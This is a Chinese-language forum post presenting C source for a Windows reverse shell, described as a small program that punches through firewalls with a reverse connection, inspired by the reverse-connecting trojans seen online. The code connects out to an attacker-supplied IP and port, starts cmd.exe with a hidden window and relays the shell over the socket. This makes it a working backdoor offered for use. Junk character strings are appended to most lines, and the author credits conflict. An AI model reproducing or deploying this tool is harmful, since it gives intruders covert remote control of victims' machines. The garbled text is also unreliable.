这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JN_#
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/* ============================== Cp%|Q.?
Rebound port in Windows NT @_{"ho
By wind,2006/7 rAKdf??
===============================*/ $Tg$FfD6&
#include Ju<D7
#include :&m(W Z\
(Gcl,IW
#pragma comment(lib,"wsock32.lib") q`P:PRgM
&>o)7H];
void OutputShell(); \
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SOCKET sClient; jkq+j^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &+v&Dd&
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void main(int argc,char **argv) ?@_dx=su
{ z2V!u\It
WSADATA stWsaData; ^|Y!NHYH$Z
int nRet; utr_fFu
SOCKADDR_IN stSaiClient,stSaiServer; DxlX-
{#vo^& B
if(argc != 3) `d8TA#|`
{ )Ii=8etdv
printf("Useage:\n\rRebound DestIP DestPort\n"); hXCDlCO
return; =["GnL*!0
} !>Xx</iD1
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WSAStartup(MAKEWORD(2,2),&stWsaData); WCH>9Z>cj
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7%hMf$KQ
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stSaiClient.sin_family = AF_INET; xRfX:3
stSaiClient.sin_port = htons(0); tm$3ZzP4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N$?q Aek
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B-RaAiE@
{ z8oSh t`+
printf("Bind Socket Failed!\n"); @c.pOX[]m,
return; 4h|vd.t
} H_{Yr+p
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stSaiServer.sin_family = AF_INET; W|:WAxJ*d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q]8r72uSk
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~Y{K^:wN^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ){v nmJJ%
{ n'SnqJ&}
printf("Connect Error!"); LVSJK.B
return; u!O)\m-
} C`fQ` RL\
OutputShell(); ~sOAm
} J(0c#}d
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void OutputShell() gD-<^Q-
{ TV} H
char szBuff[1024]; #<{sP0v*
SECURITY_ATTRIBUTES stSecurityAttributes; \Q]7Hw<
OSVERSIONINFO stOsversionInfo; z;T?2~g!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L9T|* ?||
STARTUPINFO stStartupInfo; -{HA+ YL H
char *szShell; 2vynz,^ET
PROCESS_INFORMATION stProcessInformation; YtFtU;{
unsigned long lBytesRead; >y5~:L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /)j:Y:5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V
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stSecurityAttributes.lpSecurityDescriptor = 0; 06ZyR@.@v
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1$4dzI()
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); />H9T[3=
}5EvBEv-)
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L^dF
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rOX\rI%0+
stStartupInfo.wShowWindow = SW_HIDE; `j9 ;9^
stStartupInfo.hStdInput = hReadPipe; Tv!zqx#E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H+` Zp
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GetVersionEx(&stOsversionInfo); 12.|E d*72
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switch(stOsversionInfo.dwPlatformId) /C}u,dBf
{ voiWf?X
case 1: vkp_v1F%+
szShell = "command.com"; X3@Uih}|
break; ';Y0qitGB
default: qf;x~1efC4
szShell = "cmd.exe"; *jM]:GpyoU
break; P`^nNX]x+,
} 0-6rIdDTM
{{qu:(_g
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Qu|H_<8g
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send(sClient,szMsg,77,0); n&1q*
while(1) DZ"'GQSg
{ FN\*x:g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }20~5!
if(lBytesRead) sFt"2TVr3
{ 9(6f:D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0~4Ww=#
send(sClient,szBuff,lBytesRead,0); FJCs$0
} g8kS}7/
else jl9hFubwW
{ 8
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;
lBytesRead=recv(sClient,szBuff,1024,0); $+w:W85B
if(lBytesRead<=0) break; 5/8=Do](
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z-:T')#Cf
} Q<0X80w>
} OYSq)!:
V/`vX;%
return; fJOwE
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}